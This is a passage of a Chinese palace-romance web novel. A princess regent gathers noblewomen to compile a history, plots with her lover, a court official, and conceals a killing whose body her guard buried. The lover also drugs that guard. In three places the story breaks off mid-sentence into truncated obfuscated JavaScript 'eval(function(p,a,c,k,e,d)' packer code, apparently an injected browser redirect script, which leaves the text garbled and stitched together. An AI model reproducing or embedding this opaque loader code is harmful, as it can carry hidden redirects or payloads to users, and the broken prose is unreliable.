“我是说……”骆淮叹了口气,将未说出口的话语拐了个弯,“假如——我说的是假如。” 她长睫眨动,唇角弯弯,“年末,母后因偏头痛出宫礼佛,本公主随行,夜里却突然被一人挟持,带到这片竹林。此人言语多有不敬,本公主趁其不备,用匕首刺伤了他。这时……你会怎么做?” 宗姚却仿佛根本没注意到她的笑容,连思考都没有就迅速答道: “属下会先确认伤情。若尚有气息,便秘密带离,审问幕后指使。若已气绝,便确认四周无人后,择一僻远处,妥善掩埋。” “能否真的确认无人?”骆淮追问,走近了些。 “能。”宗姚的语速微不可察地加快了些,“属下定会再三确认,绝无旁人窥见。” 骆淮点了点头,心里又再次复盘起了前两日与骆灵均的对话。 她的呼吸重新安定下来。 骆灵均并没有明确点出过这件事,他只是在她提及父皇的时候,语气激愤地刺了她一句。 是她自己心虚导致方寸大乱,将他那句话与那段血腥记忆强行勾连起来……险些露了心神。 对于那个挟持她的人说的话,骆淮半点也不想听。 口口声声说着“你和你母亲真像”,说着“你都这般大了”,言语中竟然流露出点令人作呕的怀念。 生怕他下一刻要对自己做出什么事,骆淮在他转身的刹那,从怀中抽出匕首,仰头就狠狠扎进他胸口。 温热的血溅了她满手,在月光下她终于看清了那人的装扮。 是个中年男子,容貌算是端正,但衣衫褴褛,浑身是伤,看样子相当虚弱,难怪对她的偷袭毫无招架之力。 她隐约猜到这人应当是自己母妃的故人。 但动作比思绪快。 她实在太恐慌了,也因此,下手太狠了。 那人被刺中以后居然也没有反抗,只踉跄后退两步,靠在一杆竹子上,缓缓滑坐在地,只是一双眼睛死死盯着她。 她没事人一样地将此事全权交托宗姚,自己回了房,更衣,净手,虽然一夜未眠。 回宫以后,她才敢回想那夜发生的一切。也慢慢反推出,母妃当年和父皇发生过什么。 但从骆灵均那句话来看,他或许早就知道了。 可他怎么能说出那种话呢? “你也好意思这么叫他”——她怎么不能叫父皇了?他难道怀疑她…… 不。她在玉牒上,就是骆家人。 这点,毋庸置疑。 天下皆知! 她不能疑神疑鬼。 她也绝对不能,再做回当初的冷宫孤女。 绝不能! 骆淮面无表情地阖上双目,复又睁开,脚步重新轻快起来。 去找慧净大师,上一炷香吧。就当是冷心冷血的她奉上的一点……歉意的安慰。 * 山阶蜿蜒。 缪之云提着裙摆,一步一喘地费力往上爬,只觉得自己的腰快要断了。 长公主殿下怎么突然心血来潮,要来这种深山老林里的寺庙? 好不容易看见远处竹林掩映间的三两间禅院,她松了口气,擦了擦额角的汗。 再往前,拐过一处山石,却见一道阴影立在路旁。身着白衣,身形高挑,神情淡薄,朝她看来的眼神里带着熟悉的不屑。 缪之云心里轻嗤了一声,却并不意外会在这里见到他。 陆俨亭果然是个不值钱的,骆淮在哪里,他就到哪里。 她目不斜视,打算径直走过去,却听到他在身后道:“缪小姐请留步。” 缪之云一顿。 她面露困惑地扭头,装成刚认出他是谁的样子,规规矩矩地福了一礼:“陆大人。” 陆俨亭郑重其事地还了一礼。 缪之云被他这般做派搞得心里七上八下的,不知道自己还有什么价值能让这位眼高于顶的少傅大人这番礼遇。 她出身永昌侯府,门第不算低,可家族早已没落。恰逢当年太子初定,家里卯足了劲想争太子妃之位,但苦于朝中无人,祖母翻遍家谱,终于查出缪家曾有位姑奶奶嫁给了陆家某一代的子侄,算起来也是拐了几个弯的远亲。 于是厚着脸皮登门,求一条门路。 陆家家主早逝,陆大公子陆俨亭出面应了。他同意从中斡旋,让她提早入宫待选。 虽然仅此而已,但已是十分难得的通融了。 可最后……还是没成。 景和帝已经不管事,谢皇后又宽和,允许太子殿下自己挑选中意的妻子,于是一位出身比她更不如、父母甚至都不是京官的女子脱颖而出,便是如今的沈皇后了。 缪之云倒没觉得天塌了,因为她在宫中认识了长宁公主。她爱讲笑话,公主也爱听她讲笑话,两人一见投缘,每天都快快活活的。 直到被放回家,她也时常被公主召进宫玩耍。 当然了,虽然没选上太子妃,全家还是得备上厚礼去陆府致谢,说些“承蒙关照,虽未如愿,感激不尽”的场面话。 但席间缪之云敏锐地感觉到,有一道冷冷的视线一直盯着她。 是陆大公子的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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长公主是她的朋友,对于她挑选的恋人,缪之云没有意见,除了一点—— 这男人的心眼忒小些。连自己离长公主稍近些,他都要不满意。 有丝丝缕缕的喜悦自心头漫搅而过,缪之云微笑道:“殿下对我可是推心置腹。肯为我出头,与我无话不谈。哪像有些人……” “缪小姐不也一样?”她还没说完,陆俨亭就打断她,反唇相讥,“您可知晓殿下今日邀您前来,所为何事?” 缪之云被他激得大怒。 她确实不知道。 他是想说自己比她更早知晓? 那又如何,“唤我来云浮寺有什么值得猜的?去年底殿下不就陪太后娘娘来过一次?左不过是找我陪同上香,为陛下祈福,盼圣体早日康……” 她话音戛然而止。 陆俨亭眼底浮起一片深深的了然,微微颔首:“我知道了。” 说罢,转身便走。 白色衣袍翩跹,很快消失在竹林深处。 缪之云呆立在原地,好一会儿才反应过来。 她怎么就这么脱口而出了?这下可好,殿下的行踪还是被她透露给他了…… 左思右想,无计可施。眼看时间不早了,她只好怏怏地走向禅院里头的厢房。 推开虚掩的竹门,里面的景象却让她目瞪口呆。 厢房竟坐满了人。 最上首的骆淮穿着一身金红色织锦襦裙,笑容璀璨似金,身侧坐着一位年纪稍长的女子,眉目温柔,气质娴雅。 而底下…… “陈婉!!”缪之云尖叫出声。 被点到名的贵女闻声站起,柳眉倒竖:“缪之云!你迟了这么久,还好意思嚷嚷!” 缪之云瞳孔地震。 她看着陈婉身边的人,宋毓、孟熙园、赵静姝…… 这些,不都是那日齐国公府诗会上的那些人吗? 15. 茶香 云浮寺的禅房内,竹帘半卷。 室内檀香的味道若有若无,混合着面前长案上摊开的泛黄书册的旧日气息,虽已闻不到墨香,但仍给人一种安心的感觉。 骆淮坐在上首的蒲团上,对站在门边发愣的缪之云,招了招手:“站着干嘛,坐啊。” 坐?缪之云眨巴眨巴眼睛,刚迟疑地挪了挪脚步。 这黄花梨木长案两侧已坐了五六人,案上摊着笔墨纸砚和旧书残卷,几乎占满了空间。 但骆淮却随意地这样说了一句。 她就听见附近的陈婉轻哼一声,伸手将散在案上的笔墨纸砚往自己这边拢了拢,让她坐下来时空间大些。 这人转性了?明明她那日买下浮光锦的时候,还一副凶神恶煞的样子。 刚坐稳,缪之云便听见身侧传来一声冷笑。 行吧,没变。 陈婉看都没看她,又漫不经心讽刺道:“架子倒是大,让我们好等。” “我又不知道你们也在。”缪之云抬眼望了望骆淮,话语里夹杂了点酸意,但终归是坐下了,底气足了声音也大了些,“再说了,殿下都没说什么,你急什么?” “你!” 两人怒目而视。 边上几位女孩忍不住掩唇轻笑。 骆淮也不制止,只端着茶盏专注地看她们拌嘴。 最后是她身边的温婉女子开口打了圆场,“好啦,都别吵啦,今天我们来是有正事要说呢。” 大家安静下来,齐刷刷地看向骆淮。 缪之云看着之前诗会上那些心高气傲的才女们——此刻望向长公主的眼神,竟像等待主人投喂的猫儿,乖巧又期待。 她心里不禁泛起一丝悲凉: 果然!才学很重要啊! 此刻,宋家小姐正认真骆淮研墨,宁远侯府的孟熙园安静地整理着书卷,连她的死对头陈婉,居然也…… “你看我干什么?”陈婉凉凉说。 缪之云迅速回道:“没看什么,就是觉得稀奇——陈大小姐也有这般伏低做小的时候。” “你——” “好了。”骆淮尽收眼底,终于舍得开口。 “今日请大家来,”她托着腮,“刚才已经说过了,现在,柳娘子你再说一遍好了。” 柳娘子? 厢房里的视线一起转移到刚刚说的那个女子身上。 女子约莫二十五六岁年纪,穿着一身藕荷色素面褙子,她站起身朝众人施了一礼,姿态从容,不卑不亢。 “诸位小姐好,妾身柳色。”她声音温和,“是御史台祝陵的夫人。” “近日朝中提请修纂先帝实录之事,想必各位小姐已有所耳闻。” 缪之云点点头。父兄在家议论时,她也听了一耳朵,说长宁长公主行事过于刚直,推行的新政触动太多人利益,在朝中阻力重重。此番来云浮寺“小住”,实则是暂避风头。 她望向骆淮,骆淮也安静地在聆听,颔首示意柳娘子继续。 “朝中诸位大人提出修史,实则是想将殿下一军。”柳色继续道,复述了一遍骆淮对她说的话,“他们认为此事千难万难,若无得力帮手、若无朝中重臣主持,定然办不成。殿下若应下,便是自陷泥潭;若不应,便是不孝不敬,有违礼法。” “所以……殿下寻到了我们,希望我们能助殿下,绵薄之力。” 因着其他人都已提前知晓,此刻再听,也没什么反应,只眼底闪着跃跃欲试的光。 骆淮觉得自己赌对了。 她们今日坐在这里,除了柳娘子和之云,其他人说是被她“请”来的,也没什么毛病。 来云浮寺前一天,她在朝会结束时,随口提了一句。 “本宫近日想去云浮寺为陛下祈福,想邀几位年纪相仿的贵女作伴。”她坐在监国位上,声音轻飘飘的,“诸位大人府上若有女儿、侄女,闲来无事的,不妨送来陪本宫说说话。” “比如……前段时日,”骆淮拍手笑道,“本宫参加齐国公府的诗会时,就觉得与会上的那些女郎挺投缘的。” 不出她所料,满朝文武都没有反对。 别的就算了,清丈田亩、重定赋税,那些动辄牵扯牵扯利益相关的政令,他们能争能驳,也能拖延。 但这个要求……有什么说不的理由吗? 祈福、邀贵女、作伴说话——桩桩件件,都在“公主该做的事”范畴之内。比起她前几日抛出来的那些惊世骇俗的政令,邀几个小姑娘上山陪她,简直温和得不像话。 于是诸位官员回府后,纷纷将家中适龄的女儿、侄女送过来,生怕迟了一步。 他们也觉得这是好事! 长公主把精力花在宴饮玩乐、结交闺友上,总比花在朝政上强! 陆俨亭传过来的消息,外头已有人觉得,这是她“知难而退”的信号,自知新政推行不下去,索性躲到佛寺散心,眼不见为净。 不如送些安分守己,温婉贤淑的贵女过去。都是待嫁的年纪,耳濡目染之下,或许能让她生出些“女子该有的心思”……待陛下醒来归还朝政,择一驸马出嫁,便能阻止她步百年前那位摄政长公主的后尘。 就让他们这样想去吧。 但骆淮推己及人。 那日诗会上,她看见的那些女孩子——争强好胜、心高气傲、眼底藏着不甘与野心——真的“安分”吗? 其实她十五六岁时也这样。 小女孩年纪小,脑子里稀奇古怪的念头多。当年她还未及笄,溜出宫玩,偶然听见云浮寺僧人在竹林讲经。她听得入迷,忍不住上前争辩,竟把那位高僧说得一时语塞。 骆淮大为受用,觉得自己若继续钻研,或许真能成为一代佛学大师。 直到陆俨亭在那片竹林找到她。 少年额发汗湿,气喘吁吁,表情像丢了什么稀世珍宝。 好嘛。 她想,看来还是不能出家。 …… “可是……我们真的能吗?” 安静中,有人小声问了句。 赵静姝绞着手中帕子,声音细若蚊蚋:“修史……那是翰林院、史馆大人们做的事。我们……我们只是女子……” 她们在路上便悄悄对过消息,都惴惴不安。心想长公主莫非是要伺机报复?那日诗会上她们背后议论,虽是无心,终究失礼。 但原来是这件事! 长宁公主深居简出,她们并不熟悉,只凭零星传闻便妄加议论。可这些日子,偶尔听见父兄在家吐槽长公主“牝鸡司晨”“干预朝政”,她们心里竟会默默反驳。 毕竟,她曾在诗会上堂堂正正地打败过她们。 若她真的不堪,岂不是在说……她们更不堪! “外面的人怎么想,关我们什么事?”骆淮却说,“我现在坐在这个位子上,我说行,就行。” 这话说得直白,所有人都愣了一下。 但……好像是事实? 长公主监国,代天子理政。那些在朝堂上反对她的人,吵了这些时日,也没能把她怎么样。 而且,她们心里其实清楚。 长公主找她们来,不只是因为她们有才学。 还因为……她们是女子。 修史,修的是帝皇的史、朝廷的史、天下的史。但此时此刻,她们来到了这里,她们修出来的东西,都会是长公主想要的。 她们会在所有人眼里,变成长公主的人。 在座的都是聪明人,谁都看得出来。 但她们对视一眼,竟都觉得…… 更有意思了! “具体的章程,柳娘子会和你们细说。” 骆淮见气氛差不多了,站起来走到墙边,那里也堆着一摞旧书册。 她随手拿起最上面一本,翻了翻:“这些是宫里存的起居注残本,有些年头了,字迹也模糊。你们先看看,能认多少算多少。” 她把书册分给她们,每人一本。 陈婉接过来,翻开第一页,眉头就皱了起来。 骆淮坐回去,端起茶盏,“认不出来的可以问柳娘子。认出来的,把自己觉得重要的条目摘出来,写在一张纸上。” 几个人若有所思地翻动书页。 这活儿说难不难,说简单也不简单。认字谁都会,但从一堆乱七八糟的旧记录里找出“重要”的东西,靠的是判断力。 谁的判断力强,谁就拔了头筹。 陈婉立刻低下头,认认真真地看起来。宋毓也不甘示弱,翻开书册就开始抄写。孟熙园虽然算术厉害,看文字记录却慢一些,但她不急不躁,一条一条地看过去。 厢房里安静下来,只有翻书和写字的声音。 缪之云却没动。 她翻了两页就放弃了。 这些鬼画符一样的字,她一个都认不出来。 她心里开始发慌。 “只有你,收到了殿下的亲笔请帖呢!”刚才有人酸溜溜地说。 她们都是被父兄送来的,但只有她,是被长公主邀请来的。 可是…… 她本来就不是靠学问吃饭的。她擅长的是察言观色、人情世故,是知道什么时候该说话,什么时候该闭嘴。 这些本事在平常有用,这件事上……好像没什么用。 她偷眼看了看其他人,发现她们都在埋头苦干,没有人注意到她。 “殿下。”她绕到骆淮身边,小声说。 “嗯?”骆淮转头。 “我……”缪之云犹豫了一下,“我好像帮不上什么忙。” 骆淮却笑了:“谁说让你帮忙认字了?” 缪之云一愣。 “认字的事,交给她们就行。”两人走了出去,骆淮边走边说,“你有别的事要做。” “大家在一块儿做事,难免有磕碰。你帮我好好看着,就行了。” “这寺外……”她悄悄附在她耳边说,“必定有些人不希望 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“陆少傅好生仁慈。”周敏皮笑肉不笑,“此人胆敢对抗朝廷兵马,死千万次都不足惜。您倒好,给他留了个全尸。” 这话说得刁钻。 陆俨亭也不生气,只淡淡道:“乱民亦民,剿抚并重方为长治久安之道。百姓所求不多,温饱而已。稍加安抚,方能教化万民。” 周敏古怪地抿了口茶。 这番话看似随意,实则机锋暗藏。 分明是在暗示先帝当初的政策过于严苛。 先帝人走灯灭,如今陆俨亭已经是新帝心腹,说出这样一番话来,似乎也并不奇怪。 席间众人也是相同的心思。他们互相交换着眼神,心下皆慨叹,不愧是一朝天子一朝臣。 可如今……他们要面对的,连“天子”都不是。 想到此处,周敏又痛心起来。 “我听说,长公主殿下竟去佛寺‘小住’了?”他放下茶杯,语气讥诮,“看来是对咱们认输了?索性躲开,连朝都不上了。” 陆俨亭却若有若无地纠正道:“不是罢朝。昨日殿下深夜还在看奏折,批阅的意见也已发往内阁。” “哦。”周敏点点头。 不过,陆少傅对长公主的动向……未免也太了解了? 但这念头他只一闪而过,并未深想。 “话说长公主殿下的新政,是否也太激进了些?”众人又聊到了每每提起都会引发争论的话题,“清丈田亩、重定赋税……居然还有立女户!哪能那么快推行?” 陆俨亭闻言,从袖中取出一卷文书,在案上铺开。 墨迹犹新,字迹工整,密密麻麻写满了批注。 “正是。因此陆某已拟好意见。”他将文书递过,“诸位不妨看看?” 众人凑上前去。 只见那文书上,将长公主提出的新政逐条列出,每一条后面都附了长长的驳斥。 引经据典,条分缕析,将那些“异想天开”的政令批得体无完肤。 原来……陆少傅是站在他们那里的? 感到心里微暖,在座的官员们情不自禁频频点头,周敏反思起方才对他的敌意来。 “陆大人辛苦了!” “这得熬几个夜才能写出来?” “说得在理!比如这一条……” 他们看着那工整的字迹,仿佛已看见长公主收到这份驳斥时,那张娇艳脸上可能出现的恼怒不甘,最终不得不妥协的模样。 “我会使用内阁的封驳权,将殿下的政令退回。”陆俨亭将文书卷起,神色肃然,“无需诸位联名,只是陆某一人之见。” “不可不可!” “我等必当附议!” 见大家纷纷上前,签上了自己的名字后,陆俨亭颔首,眼底掠过一丝淡笑。 “既然如此,陆某这便上山,将文书呈交殿下。” 现在? 众人一怔,天色已晚,陆少傅要夜爬几里山路? 再看陆俨亭那副清冷面容下隐隐的倦色,众人肃然起敬。 看来陆大人……真是被长公主气得不轻。 想来也是。当初陛下让长公主读书,本是美谈一桩。 陆俨亭主动请缨担任公主座师,众人还觉得他是向新帝表忠心—— 毕竟其他科目都是耄耋老儒,唯他正值仕途黄金期,却要耗费时间教导一个小姑娘。 结果呢? 长公主仗着陛下未愈,竟真敢插手朝政了。 她就该好好待在宫里,赏花品茶,等待他们拟好政令,递上去让她点头便是。 陆俨亭定是看不下去了。 看着那道素青身影消失在暮色中,茶楼内众人对视一眼,眼底浮起心照不宣的同情…… 与希冀。 16. 不行 “殿下还没睡?” 清冽的声音和推开厢房木门的吱呀声一同响了起来,骆淮没有回头,嘴角却向上翘起。 听着他的脚步声愈行愈近,她才慢悠悠地转过了身,换上一副惊讶的表情。 陆俨亭穿着素青色的常服朝她走过来,烛火将他高大修长的身影投在地上,长长的影子一直延伸到她的裙边。 骆淮放下手里的书卷,娇憨地朝他招了招手。 “我想你想得睡不着呀。” 殿下又在花言巧语了。 陆俨亭面无表情地想。 目光却还是不由自主在她身上停留了些许,她像是刚沐浴过,长发未绾,如瀑般披散在肩头,桃粉的寝衣令她整个人在烛光下显得尤为柔软。 “……” 陆俨亭有些不自然地侧过头,脚下却已经顺从地迈了过去。 他从怀里取出一份文书轻轻放在她面前的书案上,无意间盖住了她方才正在看的东西。 “这是臣应殿下前日的要求,对您下发新政纲要,拟的一些意见。” 白字黑字,夹杂着朱笔的勾勒,蝇头小楷工整严谨,逐条逐项地指出新政的不可行之处。 从“清丈田亩劳民伤财,恐生民变”,到“赋税重定动摇国本,宜缓图之”,从“盐务整顿牵扯甚广,需从长计议”,到“削减官员恐生怨愤,不利朝局稳定”……骆淮只匆匆扫了一眼。 这些文字,是她与陆俨亭早就商量好的戏码。她先抛出最激进以及最触动人利益的政令,他则负责在明面上逐条批驳,引经据典,将道理说得滴水不漏。等他将这份反对意见递上去,她再顺坡下驴,将政令修改得温和折中些。 一来一回,既显得她从谏如流、虚心纳言,又让那些反对的声音无处着力。 毕竟这份文书上可有不少重臣的联署,她是按照他们的意见一一修改的,旁人还能说什么? 只不过—— “你怎么这个时候来啊?明日过来,或者交由侍从送达,也是一样的。” 陆俨亭在她身侧坐下,声线云淡风轻的:“国事当前,宜早不宜迟。既已议定,臣便该早日呈报殿下。” 哎呀。 原来是“国事当前”啊。 骆淮点了点头,要是他说话的当下,手指上没有绕着她的一缕发丝慢慢捻动把玩,她大概就信了。 “你确定,你不是因为想见我,才连夜赶来的呀?” 她转过脸,面颊柔软细腻,在室内光线下像是染了两团薄薄的晕红。 陆俨亭手上的动作滞了一瞬,终于无可奈何地笑起来。 “是想见殿下。”他低低地说,续又重复道,“……很想。” 骆淮于是欢呼一声,伸手就要理所当然地去解他的衣带。 陆俨亭一顿,轻轻按住她的手腕制止了她。 “……臣在来时的路上又想到了几条新的意见。”他又将话题拽回公事上,仿佛方才那句“很想”不是出自他口,“后续的政令发出去后,一些措辞还可斟酌。比如‘清丈’二字,可改为‘核查’;‘重定赋税’不如说‘调整税则’……字眼温和些,阻力也会小些。” “以及修史之事,不知殿下今日与柳娘子,还有那几位小姐,商议得如何了?” 很好啊。骆淮想。 她亲手组建的这支团队,虽都是闺阁女子,可才干丝毫不逊男子。七八个小姑娘,一个下午就把修史的流程、分工和章程理得七七八八。 加之陆俨亭在今日之前,就已将他任翰林院编修时誊抄、整理过的景和朝政令默写出来,命人交给了她。 因此他此番问话的确理所应当。 但他毕竟不是这团队的一员,为了进展顺利,骆淮不会随意透露细节。 “明日再说吧,都这么晚了。”她敷衍道,被他扣住的手腕轻轻一转,指头就灵巧地钻进了他衣襟里。 触感温热坚实。 夜风穿过窗隙,灯烛猛地摇晃。 窗外竹影婆娑,交叠的树影投在窗纸上,像一幅影影绰绰的水墨画。 陆俨亭沉默了一会儿。 他望着她近在咫尺的脸以及那双亮闪闪的眸子,突然想:她每次见他,难道就只想要这个吗? “不行。” 骆淮眉头微挑:“你又来了。这次是欲拒还迎,还是欲擒故纵?” 手上的动作却没停,顺势掐了一把他的腰。 劲瘦,结实,手感很好。 却听陆俨亭又道: “以后也都不行。” 骆淮抬起头,震惊地看着他。 “你在说什么?” 陆俨亭迎着她的目光,神色相当平静:“佛门清净之地,云浮寺又是皇家寺院。何况殿下同臣本就无媒无聘,这般行事……实在有伤风化。” 话里话外像个最严谨古板的老学究,但却起了反作用。 骆淮要被他逗笑了。 “孤是皇兄亲封的长公主,又当朝监国。”她扬起下巴不以为意道,“谁敢这般议论孤?活腻味了么?” 陆俨亭下颌线绷紧,“臣只担心殿下一旦有孕……” 骆淮挥手:“张院正那服药,不是你自己要求服的么?” 光是闻那药味就觉得苦,她每次都贴心地给他备好蜜饯。 “凡事都有万一。”陆俨亭声音闷闷的。 那日她突然干呕,虽是虚惊一场,但他仍然又回去把那味药的方子翻来覆去查了好几遍,那种后怕到现在还没散干净。 他此刻,无名无分。 因此,他不能让她承担任何风险。 一丝一毫都不能。 “那我们每日少做几次就好了。”骆淮一本正经安慰他,“说真的,谁受得了你那般?好几回我都喊停了,你倒充耳不闻。别透支今后的次数,往后年岁上来,我都担心你有朝一日会吃不消……” “……” 陆俨亭气笑了。 “哦。”他平静吐出一个字,嘴上仍然不认输,“臣还以为……殿下当时是在唤臣的名字。” 骆淮:“……?” 她明明喊的是“停”。 他以为她在叫“亭”? 什么啊! 骆淮被他的厚颜无耻震撼了。 好嘛。他既然一定要这样推拒。 骆淮索性放开了他,往椅背软垫上靠了靠。 “陆少傅既这么为我着想,”长公主双手交叠放在膝上,摆出副端庄模样,“怎么今日午后匆匆离去后,不去处理公务,反而找旁人打探我的事?” …… 陆俨亭仅仅呆了一瞬,随后便平静下来,仿佛早有预料有此一问。 “殿下知道了?” “自然。”骆淮慢悠悠开口,目光逡巡着他的神色,“你竟然同之云,是认识的。” 亏她当初还在想,该找个什么时机、用什么方式,向缪之云交代她和陆俨亭的事。 却没想到根本不需要! 下午缪之云汇报完陆俨亭套话的事后,便老实说了她与陆俨亭的渊源,又解释了她早在两年前便得知了他们两人的私情。 “是因为有次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的意思是后来他们发展成现在的关系后,每次私会,她都光忙着让他侍候了,根本没给他机会说这些陈年旧事,是吧? 她刚刚生出些微的讷讷,随即反应过来。 陆俨亭倒是又开始哀怨上了。 明明是她在质问他为何暗中打探、为何有事隐瞒。 现在,他却表现得像个隐忍多年,终于得以诉冤的受害者。 “你想找之云,打听你不在京中时,我发生过什么?”她冷淡地问,“你觉得她会告诉你?你可真——” 话甫一出口,她突然明白了他如此的缘由。 陆俨亭必然早就知道缪之云不会告诉他。反而,会将他的言行如实转告她。 由此,便能让她自己主动提及、质问他,他便可顺势…… “殿下去年末,曾卧床三日。” 陆俨亭的声音就在这时平淡响起。 “这是殿下在信中告诉臣的,可对?您当时说的是‘偶感风寒,已无大碍’。” 他抬起眼,目光沉沉。 “但殿下没告诉臣的是……那场风寒,是在您陪同太后娘娘来云浮寺祈福后发生的。” “而如今,殿下监国理政,诸事缠身,却又要主动来云浮寺小住。” “臣很好奇,”他微微俯身,低眸看她,“这座寺庙里,究竟是有什么东西……让殿下如此念念不忘,非要再来一次不可。” 17. 不听话 他狭长的眼眸直视着她,眼底有幽光闪烁,仿佛某种东西即将浮出水面。 骆淮被他的气势一迫。 她因那件事心烦意乱了数日,索性搁了功课。面对他寄来的信中不厌其烦的课业询问,她烦了,随手以此为由,称因病卧床数日,搪塞过去。 却没想到,他能把这两桩事拼合到一起。 陆俨亭的敏锐,有时候真令人心惊。 不过,联想到一起又如何。只要她不认,他能奈她何? “你想知道什么?”骆淮歪着头,因离他过于近了,有几缕发丝散落在他肩头,她顺势又靠近了一些。 他却未回答。 下一瞬她感觉腰间一紧,旋即整个人被他像抱孩童般从檀木椅上捞起,稳稳地安置在他的腿上。 坐定的刹那,她感觉到了什么,情不自禁扭了扭身子。 “嗯?不舒服?” 始作俑者居然也好意思问她。 “当然不舒服了。”她理直气壮说道,“倒是少傅大人……现在应当很舒服。” 他低低的笑声响了起来,修长的手指穿过她的长发,动作温煦地揉按着她的头皮,力道恰到好处。 他的按摩水准实在一流,骆淮堪堪要滑入睡梦的边缘。但在眼皮渐沉之时,陆俨亭平和的声线开始流淌在屋内。 “殿下和宗姚……是否有事瞒着臣?” 骆淮猛地清醒过来。 难道他知道了…… 她想要抬头,但陆俨亭的手掌扣在她的后脑勺上,将她按在他的胸膛前,她看不见他的表情。 “殿下的风寒,大约只是借口?”陆俨亭继续问,“那几日,宗姚应当随行跟过来了罢?” “……你怎么知道?”骆淮镇定回答。 陆俨亭的手臂收紧了些。 但声音依旧平和低缓。 “果然如此。”他唇边浮现出了点温文尔雅的弧线,右手仍然不紧不慢地梳理着她的发丝,“臣知道了。” 然后,再无一言。 嗯? “……你不问我?”她想了想,终于还是开口。 “臣不问。”他轻柔道,手一松放开了对她的禁锢。 他垂下头,额头抵着她的,呼吸交缠间是极致的诱哄:“殿下不说,自然有殿下的道理。” “若有朝一日……殿下想说了,自然会第一时间告诉臣,对吗?” 骆淮一怔。 怎么回事。她都已经做好了要同他解释、以及安抚他即将袭来的又一次怨念的准备。 但却什么也没有。 他就这么……轻描淡写地放下了? 她迟疑地觉得不对,心头莫名涌上一股憋屈。就像在兵书上研习了数月战法,认认真真布好阵势,临到阵前,敌方却直接降了旗。 “我……”骆淮被他这么一激着恼了,扬声喊道,“宗姚——” 她要叫宗姚过来!她决定同他说清楚!她面对的是陆俨亭又不是旁人,她相信就算自己杀人放火,陆俨亭听了也不会皱一下眉头。 “宗姚?” 陆俨亭疑惑的声音响起,“殿下叫他做什么?他现在一时半会儿……醒不过来。” “醒不过来?”骆淮神色一顿,“你对他做什么了? 他反问:“他是记名在册的殿前司侍卫,殿下觉得,臣能对他做什么?” 骆淮诚实道:“不知道。” 但联想到她从前那几个相看对象的下落,她蓦地脱口而出,“你莫伤害他。” “伤害?”陆俨亭不轻不重地捏了一把她的后颈,忽地笑了,“不过给了他一碗安神汤,让他睡个好觉而已。这可是旁人求也求不来的。” 原来只是给他下了迷药啊。 骆淮摆摆手,罢了。 “……山间寒气侵骨,染些风寒原是寻常,与我此番前来有何干系?” 她继续按照自己先前的思路胡编乱造,“我来此,一来因宫中规矩繁琐,我想见你,除却朝会,总要寻些公事由头召你入宫。如今在这云浮寺,你想来便来,我们议政也无拘无束,岂不便利?” “二来……此地于你我,别有深意啊。”公主仰起脸,万般娇柔,“修延,你忘了?我十五岁那年,就是你在这云浮寺寻到我的。自那以后,我便觉得此处是很好的。” 陆俨亭低头看着她的发顶。 她说这话的时候整个人柔软又温和,两片唇瓣张合时带出温热气流,热意缓慢蔓延,濡湿他胸前的衣料。 “……殿下此言可真?” “你爱信不信。”骆淮冷哼一声。 她说着身子一扭,便要从他腿上跳下。 但他随后也起身,长腿一迈又将她捞回怀里。 他身量极高,手臂将她整个人环住,在她耳畔低低说:“……枕流。” 他总是这样。 一心虚理亏就喊她的小字。 “……不可以骗我。”他幽幽说。 “那你也不能瞒我任何事。”骆淮掀了掀眼皮,反过来责问他。 “这个自然。”他的语调含着点上扬的笑意。 他答得如此之快,若在以往,骆淮会很满意——觉得他知错就改,乖顺得很。 但现在……因着她自己便先行隐瞒的缘故,她突然想:漂亮话谁不会说? 她一贯奉行的信条便是这般霸道,有些事她自己可以做,旁人却不能这样对她。 ——尤其是他。 总觉得陆俨亭最近……越来越不听话了。 他方才……虽音色仍温润如玉,可不知是否夜色太深的缘故,莫名有种鬼气森森的感觉。 她想起传闻中他处置政敌的狠辣手段,想起这几日调阅密档时看到的那些他署名的上书奏对,以及她那几个欺凌过他的异母皇兄最终的下场。 千万思绪最终还是合成一句话。 他是陆俨亭啊。 是她八岁就从太液池里捞起来的人,她亲手为他择了“修延”为字。她交付给任何人的信任都是有保留的,唯独对他,没有任何上限。 因此她也坚信他该当永远忠诚,即便伤害他自己,也不会伤她半分。 正如,他虚虚环着她的此时此刻。她清楚他并未用上半分力气,只要她稍一挣,便能脱身。 可是,她为什么要挣开呢? 骆淮嘴角弯起一分笑意,重新埋进他怀里。 “你今晚……留下来吗?” 沉默了一会儿。 她如愿听见他轻叹了口气,轻言细语道:“好。” 她就知道! 他永远没法拒绝她的。 厢房内未熄的灯火将两人相拥的身影投在墙上,摇曳,交织,宛若一对璧人。 但骆淮并没有看见,拥着她的高大青年此刻的神态。 与温柔语气相反的是他墨色深重的眼眸。眼底翻滚的暗潮,几乎要没顶般席卷至她的周身。 却又被强行压抑,化作一片平静的深潭。 …… 陆俨亭穿着雪白中衣躺在榻外侧,骆淮安心地靠在他肩头,发丝铺了满枕。 这将是他们第一次同榻而眠到天明。 她闻着他身上的香气,是她无比熟悉的百合香。 她向来钟爱此香,因此特意在她赠他的香囊中也调了同种熏香,她就是要他身上处处染满她的气息。 “那几个香囊,”她明知故问,“你觉得如何?” “很好。”他转头看她,薄唇勾起一个满当当的笑容,“竟不知枕流还有这般手艺……是修延小瞧了。” 骆淮眨眨眼,双腿勾住他的腿侧,开始一分一分亲吻他的脖颈。 “殿下。”他似乎无可奈何地吐了口气,在黑夜里清清淡淡问道,“还不困?” “……我又没有真的要对你做什么。”骆淮无辜道,“连亲一下也不可以吗。” 他喉头一滚,还是将她捞进怀里,嘴唇擦过她的睫毛与鼻尖,最后印在她的唇上。 “不想有孕的话……”他沙哑的声音透过吻含糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 